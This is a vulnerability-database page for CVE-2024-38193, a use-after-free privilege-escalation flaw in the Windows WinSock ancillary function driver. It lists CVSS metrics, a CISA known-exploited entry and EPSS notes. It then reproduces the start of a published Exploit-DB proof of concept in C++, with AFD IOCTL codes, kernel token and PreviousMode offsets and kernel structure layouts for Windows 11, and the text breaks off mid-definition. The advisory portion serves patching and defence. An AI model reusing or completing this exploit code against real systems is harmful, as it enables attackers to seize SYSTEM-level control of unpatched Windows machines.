CVE-2024-38193 : Detail

CVE-2024-38193

7.8
/
High
Memory Corruption
67.91%V4
Local
2024-08-13
17h29 +00:00
2025-05-21
21h06 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation.

Functional

Functional exploit code is available. The code works in most situations where the vulnerability exists.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Official fix

A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Confirmed

Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 secure@microsoft.com

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability

Required action : Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2024-08-12 22h00 +00:00

Action is due : 2024-09-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 52284

Publication date : 2025-05-08 22h00 +00:00
Author : Milad karimi
EDB Verified : No

# Exploit Title: Microsoft Windows 11 Pro 23H2 - Ancillary Function Driver for WinSock Privilege Escalation # Date: 2025-05-05 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win x64 # CVE : CVE-2024-38193 #pragma once #include "ntstatus.h" #include "Windows.h" #include <iostream> #pragma comment(lib, "ntdll.lib") #define HIDWORD(l) ((DWORD)(((DWORDLONG)(l)>>32)&0xFFFFFFFF)) #define LODWORD(l) ((DWORD)((DWORDLONG)(l))) #define AfdOpenPacket "AfdOpenPacketXX" #define AFD_DEVICE_NAME L"\\Device\\Afd" #define LOCALHOST "127.0.0.1" #define IOCTL_AFD_BIND 0x12003LL #define IOCTL_AFD_LISTEN 0x1200BLL #define IOCTL_AFD_CONNECT 0x120BBLL #define IOCTL_AFD_GET_SOCK_NAME 0x1202FLL #define FSCTL_PIPE_PEEK 0x11400CLL #define FSCTL_PIPE_IMPERSONATE 0x11001CLL #define FSCTL_PIPE_INTERNAL_WRITE 0x119FF8 #define OBJ_CASE_INSENSITIVE 0x00000040 #define OBJ_INHERIT 0x00000002 #define FILE_OPEN_IF 0x3 #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define OFFSET_IN_TOKEN_VARIABLEPART 0x490 #define OFFSET_IN_TOKEN_TOKEN_PRIVILEGES 0x40 #define OFFSET_IN_TOKEN_PRIMARY_GROUP 0xA8 #define OFFSET_IN_TOKEN_DYNAMIC_PART 0xB0 #define OFFSET_IN_TOKEN_DEFAULT_DACL 0xB8 #define PREVIOUS_MODE_OFFSET 0x232 #define OFFSET_TO_ACTIVE_PROCESS_LINKS 0x448 #define OFFSET_TO_TOKEN 0x4b8 #define CURRENT_THREAD (HANDLE)0xFFFFFFFFFFFFFFFE typedef struct IO_STATUS_BLOCK { union { DWORD Status; PVOID Pointer; }; DWORD* Information; }; //0x4 bytes (sizeof) struct _SYSTEM_POWER_STATE_CONTEXT { union { struct { ULONG Reserved1 : 8; //0x0 ULONG TargetSystemState : 4; //0x0 ULONG EffectiveSystemState : 4; //0x0 ULONG CurrentSystemState : 4; //0x0 ULONG IgnoreHibernationPath : 1; //0x0 ULONG PseudoTransition : 1; //0x0 ULONG KernelSoftReboot : 1; //0x0 ULONG DirectedDripsTransition : 1; //0x0 ULONG Reserved2 : 8; //0x0 }; ULONG ContextAsUlong; //0x0 }; }; //0x4 bytes (sizeof) union _POWER_STATE { enum _SYSTEM_POWER_STATE SystemState; //0x0 enum _DEVICE_POWER_STATE DeviceState; //0x0 }; //0x48 bytes (sizeof) typedef struct _IO_STACK_LOCATION { UCHAR MajorFunction; //0x0 UCHAR MinorFunction; //0x1 UCHAR Flags; //0x2 UCHAR Control; //0x3 union { struct { struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8 ULONG Options; //0x10 USHORT FileAttributes; //0x18 USHORT ShareAccess; //0x1a ULONG EaLength; //0x20 } Create; //0x8 struct { struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8 ULONG Options; //0x10 USHORT Reserved; //0x18 USHORT ShareAccess; //0x1a struct _NAMED_PIPE_CREATE_PARAMETERS* Parameters; //0x20 } CreatePipe; //0x8 struct { struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8 ULONG Options; //0x10 USHORT Reserved; //0x18 USHORT ShareAccess; //0x1a struct _MAILSLOT_CREATE_PARAMETERS* Parameters; //0x20 } CreateMailslot; //0x8 struct { ULONG Length; //0x8 ULONG Key; //0x10 ULONG Flags; //0x14 union _LARGE_INTEGER ByteOffset; //0x18 } Read; //0x8 struct { ULONG Length; //0x8 ULONG Key; //0x10 ULONG Flags; //0x14 union _LARGE_INTEGER ByteOffset; //0x18 } Write; //0x8 struct { ULONG Length; //0x8 struct _UNICODE_STRING* FileName; //0x10 enum _FILE_INFORMATION_CLASS FileInformationClass; //0x18 ULONG FileIndex; //0x20 } QueryDirectory; //0x8 struct { ULONG Length; //0x8 ULONG CompletionFilter; //0x10 } NotifyDirectory; //0x8 struct { ULONG Length; //0x8 ULONG CompletionFilter; //0x10 enum _DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass; //0x18 } NotifyDirectoryEx; //0x8 struct { ULONG Length; //0x8 enum _FILE_INFORMATION_CLASS FileInformationClass; //0x10 } QueryFile; //0x8 struct { ULONG Length; //0x8 enum _FILE_INFORMATION_CLASS FileInformationClass; //0x10 struct _FILE_OBJECT* FileObject; //0x18 union { struct { UCHAR ReplaceIfExists; //0x20 UCHAR AdvanceOnly; //0x21 }; ULONG ClusterCount; //0x20 VOID* DeleteHandle; //0x20 }; } SetFile; //0x8 struct { ULONG Length; //0x8 VOID* EaList; //0x10 ULONG EaListLength; //0x18 ULONG EaIndex; //0x20 } QueryEa; //0x8 struct { ULONG Length; //0x8 } SetEa; //0x8 struct { ULONG Length; //0x8 enum _FSINFOCLASS FsInformationClass; //0x10 } QueryVolume; //0x8 struct { ULONG Length; //0x8 enum _FSINFOCLASS FsInformationClass; //0x10 } SetVolume; //0x8 struct { ULONG OutputBufferLength; //0x8 ULONG InputBufferLength; //0x10 ULONG FsControlCode; //0x18 VOID* Type3InputBuffer; //0x20 } FileSystemControl; //0x8 struct { union _LARGE_INTEGER* Length; //0x8 ULONG Key; //0x10 union _LARGE_INTEGER ByteOffset; //0x18 } LockControl; //0x8 struct { ULONG OutputBufferLength; //0x8 ULONG InputBufferLength; //0x10 ULONG IoControlCode; //0x18 VOID* Type3InputBuffer; //0x20 } DeviceIoControl; //0x8 struct { ULONG SecurityInformation; //0x8 ULONG Length; //0x10 } QuerySecurity; //0x8 struct { ULONG SecurityInformation; //0x8 VOID* SecurityDescriptor; //0x10 } SetSecurity; //0x8 struct { struct _VPB* Vpb; //0x8 struct _DEVICE_OBJECT* DeviceObject; //0x10 } MountVolume; //0x8 struct { struct _VPB* Vpb; //0x8 struct _DEVICE_OBJECT* DeviceObject; //0x10 } VerifyVolume; //0x8 struct { struct _SCSI_REQUEST_BLOCK* Srb; //0x8 } Scsi; //0x8 struct { ULONG Length; //0x8 VOID* StartSid; //0x10 struct _FILE_GET_QUOTA_INFORMATION* SidList; //0x18 ULONG SidListLength; //0x20 } QueryQuota; //0x8 struct { ULONG Length; //0x8 } SetQuota; //0x8 struct { enum _DEVICE_RELATION_TYPE Type; //0x8 } QueryDeviceRelations; //0x8 struct { struct _GUID* InterfaceType; //0x8 USHORT Size; //0x10 USHORT Version; //0x12 struct _INTERFACE* Interface; //0x18 VOID* InterfaceSpecificData; //0x20 } QueryInterface; //0x8 struct { struct _DEVICE_CAPABILITIES* Capabilities; //0x8 } DeviceCapabilities; //0x8 struct { struct _IO_RESOURCE_REQUIREMENTS_LIST* IoResourceRequirementList; //0x8 } FilterResourceRequirements; //0x8 struct { ULONG WhichSpace; //0x8 VOID* Buffer; //0x10 ULONG Offset; //0x18 ULONG Length; //0x20 } ReadWriteConfig; //0x8 struct { UCHAR Lock; //0x8 } SetLock; //0x8 struct { enum BUS_QUERY_ID_TYPE IdType; //0x8 } QueryId; //0x8 struct { enum DEVICE_TEXT_TYPE DeviceTextType; //0x8 ULONG LocaleId; //0x10 } QueryDeviceText; //0x8 struct { UCHAR InPath; //0x8 UCHAR Reserved[3]; //0x9 enum _DEVICE_USAGE_NOTIFICATION_TYPE Type; //0x10 } UsageNotification; //0x8 struct { enum _SYSTEM_POWER_STATE PowerState; //0x8 } WaitWake; //0x8 struct { struct _POWER_SEQUENCE* PowerSequence; //0x8 } PowerSequence; //0x8 struct { union { ULONG SystemContext; //0x8 struct _SYSTEM_POWER_STATE_CONTEXT SystemPowerStateContext; //0x8 }; enum _POWER_STATE_TYPE Type; //0x10 union _POWER_STATE State; //0x18 enum POWER_ACTION ShutdownType; //0x20 } Power; //0x8 struct { struct _CM_RESOURCE_LIST* AllocatedResources; //0x8 struct _CM_RESOURCE_LIST* AllocatedResourcesTranslated; //0x10 } StartDevice; //0x8 struct { ULONGLONG ProviderId; //0x8 VOID* DataPath; //0x10 ULONG BufferSize; //0x18 VOID* Buffer; //0x20 } WMI; //0x8 struct { VOID* Argument1; //0x8 VOID* Argument2; //0x10 VOID* Argument3; //0x18 VOID* Argument4; //0x20 } Others; //0x8 } Parameters; //0x8 struct _DEVICE_OBJECT* DeviceObject; //0x28 struct _FILE_OBJECT* FileObject; //0x30 LONG(*CompletionRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2, VOID* arg3); //0x38 VOID* Context; //0x40 }IO_STACK_LOCATION; //0x18 bytes (sizeof) struct _KDEVICE_QUEUE_ENTRY { struct _LIST_ENTRY DeviceListEntry; //0x0 ULONG SortKey; //0x10 UCHAR Inserted; //0x14 }; //0x58 bytes (sizeof) struct _KAPC { UCHAR Type; //0x0 UCHAR AllFlags; //0x1 UCHAR Size; //0x2 UCHAR SpareByte1; //0x3 ULONG SpareLong0; //0x4 struct _KTHREAD* Thread; //0x8 struct _LIST_ENTRY ApcListEntry; //0x10 VOID* Reserved[3]; //0x20 VOID* NormalContext; //0x38 VOID* SystemArgument1; //0x40 VOID* SystemArgument2; //0x48 CHAR ApcStateIndex; //0x50 CHAR ApcMode; //0x51 UCHAR Inserted; //0x52 }; //0xd0 bytes (sizeof) struct _IRP { SHORT Type; //0x0 USHORT Size; //0x2 USHORT AllocationProcessorNumber; //0x4 USHORT Reserved; //0x6 struct _MDL* MdlAddress; //0x8 ULONG Flags; //0x10 union { struct _IRP* MasterIrp; //0x18 LONG IrpCount; //0x18 VOID* SystemBuffer; //0x18 } AssociatedIrp; //0x18 struct _LIST_ENTRY ThreadListEntry; //0x20 struct IO_STATUS_BLOCK IoStatus; //0x30 CHAR RequestorMode; //0x40 UCHAR PendingReturned; //0x41 CHAR StackCount; //0x42 CHAR CurrentLocation; //0x43 UCHAR Cancel; //0x44 UCHAR CancelIrql; //0x45 CHAR ApcEnvironment; //0x46 UCHAR AllocationFlags; //0x47 union { struct _IO_STATUS_BLOCK* UserIosb; //0x48 VOID* IoRingContext; //0x48 }; struct _KEVENT* UserEvent; //0x50 union { struct { union { VOID(*UserApcRoutine)(VOID* arg1, struct _IO_STATUS_BLOCK* arg2, ULONG arg3); //0x58 VOID* IssuingProcess; //0x58 }; union { VOID* UserApcContext; //0x60 struct _IORING_OBJECT* IoRing; //0x60 }; } AsynchronousParameters; //0x58 union _LARGE_INTEGER AllocationSize; //0x58 } Overlay; //0x58 VOID(*CancelRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x68 VOID* UserBuffer; //0x70 union { struct { union { struct _KDEVICE_QUEUE_ENTRY DeviceQueueEntry; //0x78 VOID* DriverContext[4]; //0x78 }; struct _ETHREAD* Thread; //0x98 CHAR* AuxiliaryBuffer; //0xa0 struct _LIST_ENTRY ListEntry; //0xa8 union { struct _IO_STACK_LOCATION* CurrentStackLocation; //0xb8 ULONG PacketType; //0xb8 }; struct _FILE_OBJECT* OriginalFileObject; //0xc0 VOID* IrpExtension; //0xc8 } Overlay; //0x78 struct _KAPC Apc; //0x78 VOID* CompletionKey; //0x78 } Tail; //0x78 }; typedef struct _TA_ADDRESS { USHORT AddressLength; USHORT AddressType; UCHAR Address[1]; }TA_ADDRESS; typedef struct _TRANSPORT_ADDRESS { LONG TAAddressCount; TA_ADDRESS Address[1]; }TRANSPORT_ADDRESS; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; }OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _SYSTEM_MODULE_ENTRY { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { PVOID Object; ULONG_PTR UniqueProcessId; ULONG_PTR HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; typedef struct _SYSTEM_HANDLE_INFORMATION_EX { ULONG_PTR NumberOfHandles; ULONG_PTR Reserved; SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; typedef struct _AFD_CREATE_PACKET { //FILE_FULL_EA_INFORMATION ULONG NextEntryOffset; WORD Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[15]; //AFD_CREATE_PACKET ULONG EndpointFlags; ULONG GroupID; ULONG AddressFamily; ULONG SocketType; ULONG Protocol; ULONG SizeOfTransportName; wchar_t TransportName[16]; //UCHAR Unkown; } AFD_CREATE_PACKET; enum THREADINFOCLASS { ThreadImpersonationToken = 5 }; enum SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemExtendedHandleInformation = 64 }; typedef enum EVENT_TYPE { NotificationEvent, SynchronizationEvent }; typedef struct _AFD_BIND_DATA { ULONG ShareType; SOCKADDR_IN addr; } AFD_BIND_DATA, * PAFD_BIND_DATA; typedef struct alignas(16) MY_AFD_CONNECT_INFO { __int64 UseSan; __int64 hNtSock1; __int64 Unknown; __int32 tmp6; WORD const_16; sockaddr_in bind; }; typedef struct FAKE_DATA_ENTRY_QUEUE { DWORD tmp; LIST_ENTRY nextQueue; __int64 unknown; PVOID security_client_context; __int64 unknown2; __int64 sizeOfData; char DATA[0x77FD0]; }; typedef struct _AFD_LISTEN_INFO { ULONG unknown; __int64 MaximumConnectionQueue; } AFD_LISTEN_INFO, * PAFD_LISTEN_INFO; typedef struct _SECURITY_CLIENT_CONTEXT { _SECURITY_QUALITY_OF_SERVICE SecurityQos; void* ClientToken; unsigned __int8 DirectlyAccessClientToken; unsigned __int8 DirectAccessEffectiveOnly; unsigned __int8 ServerIsRemote; _TOKEN_CONTROL ClientTokenControl; }SECURITY_CLIENT_CONTEXT, * PSECURITY_CLIENT_CONTEXT; struct __declspec(align(8)) _OWNER_ENTRY { unsigned __int64 OwnerThread; DWORD ___u1; }; //0x68 bytes (sizeof) typedef struct _ERESOURCE { struct _LIST_ENTRY SystemResourcesList; //0x0 struct _OWNER_ENTRY* OwnerTable; //0x10 SHORT ActiveCount; //0x18 union { USHORT Flag; //0x1a struct { UCHAR ReservedLowFlags; //0x1a UCHAR WaiterPriority; //0x1b }; }; VOID* SharedWaiters; //0x20 VOID* ExclusiveWaiters; //0x28 struct _OWNER_ENTRY OwnerEntry; //0x30 ULONG ActiveEntries; //0x40 ULONG ContentionCount; //0x44 ULONG NumberOfSharedWaiters; //0x48 ULONG NumberOfExclusiveWaiters; //0x4c VOID* Reserved2; //0x50 union { VOID* Address; //0x58 ULONGLONG CreatorBackTraceIndex; //0x58 }; ULONGLONG SpinLock; //0x60 }ERESOURCE, *PERESOURCE; //0x8 bytes (sizeof) typedef struct _EX_PUSH_LOCK { union { struct { ULONGLONG Locked : 1; //0x0 ULONGLONG Waiting : 1; //0x0 ULONGLONG Waking : 1; //0x0 ULONGLONG MultipleShared : 1; //0x0 ULONGLONG Shared : 60; //0x0 }; ULONGLONG Value; //0x0 VOID* Ptr; //0x0 }; }; //0x10 bytes (sizeof) typedef struct _SEP_CACHED_HANDLES_TABLE { struct _EX_PUSH_LOCK Lock; //0x0 struct _RTL_DYNAMIC_HASH_TABLE* HashTable; //0x8 }; //0x8 bytes (sizeof) typedef struct _EX_RUNDOWN_REF { union { ULONGLONG Count; //0x0 VOID* Ptr; //0x0 }; }; //0x20 bytes (sizeof) typedef struct _OB_HANDLE_REVOCATION_BLOCK { struct _LIST_ENTRY RevocationInfos; //0x0 struct _EX_PUSH_LOCK Lock; //0x10 struct _EX_RUNDOWN_REF Rundown; //0x18 }; //0xc0 bytes (sizeof) typedef struct _SEP_LOGON_SESSION_REFERENCES { struct _SEP_LOGON_SESSION_REFERENCES* Next; //0x0 struct _LUID LogonId; //0x8 struct _LUID BuddyLogonId; //0x10 LONGLONG ReferenceCount; //0x18 ULONG Flags; //0x20 struct _DEVICE_MAP* pDeviceMap; //0x28 VOID* Token; //0x30 struct _UNICODE_STRING AccountName; //0x38 struct _UNICODE_STRING AuthorityName; //0x48 struct _SEP_CACHED_HANDLES_TABLE CachedHandlesTable; //0x58 struct _EX_PUSH_LOCK SharedDataLock; //0x68 struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* SharedClaimAttributes; //0x70 struct _SEP_SID_VALUES_BLOCK* SharedSidValues; //0x78 struct _OB_HANDLE_REVOCATION_BLOCK RevocationBlock; //0x80 struct _EJOB* ServerSilo; //0xa0 struct _LUID SiblingAuthId; //0xa8 struct _LIST_ENTRY TokenList; //0xb0 }; //0x30 bytes (sizeof) typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION { ULONG SecurityAttributeCount; //0x0 struct _LIST_ENTRY SecurityAttributesList; //0x8 ULONG WorkingSecurityAttributeCount; //0x18 struct _LIST_ENTRY WorkingSecurityAttributesList; //0x20 }AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION; //0x20 bytes (sizeof) typedef struct _SEP_SID_VALUES_BLOCK { ULONG BlockLength; //0x0 LONGLONG ReferenceCount; //0x8 ULONG SidCount; //0x10 ULONGLONG SidValuesStart; //0x18 }SEP_SID_VALUES_BLOCK,*PSEP_SID_VALUES_BLOCK; //0x18 bytes (sizeof) struct _SEP_TOKEN_PRIVILEGES { ULONGLONG Present; //0x0 ULONGLONG Enabled; //0x8 ULONGLONG EnabledByDefault; //0x10 }; //0x1f bytes (sizeof) struct _SEP_AUDIT_POLICY { struct _TOKEN_AUDIT_POLICY AdtTokenPolicy; //0x0 UCHAR PolicySetStatus; //0x1e }; //0x498 bytes (sizeof) struct _TOKEN { struct _TOKEN_SOURCE TokenSource; //0x0 struct _LUID TokenId; //0x10 struct _LUID AuthenticationId; //0x18 struct _LUID ParentTokenId; //0x20 union _LARGE_INTEGER ExpirationTime; //0x28 struct _ERESOURCE* TokenLock; //0x30 struct _LUID ModifiedId; //0x38 struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40 struct _SEP_AUDIT_POLICY AuditPolicy; //0x58 ULONG SessionId; //0x78 ULONG UserAndGroupCount; //0x7c ULONG RestrictedSidCount; //0x80 ULONG VariableLength; //0x84 ULONG DynamicCharged; //0x88 ULONG DynamicAvailable; //0x8c ULONG DefaultOwnerIndex; //0x90 struct _SID_AND_ATTRIBUTES* UserAndGroups; //0x98 struct _SID_AND_ATTRIBUTES* RestrictedSids; //0xa0 VOID* PrimaryGroup; //0xa8 ULONG* DynamicPart; //0xb0 struct _ACL* DefaultDacl; //0xb8 enum _TOKEN_TYPE TokenType; //0xc0 enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; //0xc4 ULONG TokenFlags; //0xc8 UCHAR TokenInUse; //0xcc ULONG IntegrityLevelIndex; //0xd0 ULONG MandatoryPolicy; //0xd4 void* LogonSession; //0xd8 struct _LUID OriginatingLogonSession; //0xe0 struct _SID_AND_ATTRIBUTES_HASH SidHash; //0xe8 struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash; //0x1f8 struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes; //0x308 VOID* Package; //0x310 struct _SID_AND_ATTRIBUTES* Capabilities; //0x318 ULONG CapabilityCount; //0x320 struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash; //0x328 struct _SEP_LOWBOX_NUMBER_ENTRY* LowboxNumberEntry; //0x438 struct _SEP_CACHED_HANDLES_ENTRY* LowboxHandlesEntry; //0x440 struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* pClaimAttributes; //0x448 VOID* TrustLevelSid; //0x450 struct _TOKEN* TrustLinkedToken; //0x458 VOID* IntegrityLevelSidValue; //0x460 struct _SEP_SID_VALUES_BLOCK* TokenSidValues; //0x468 struct 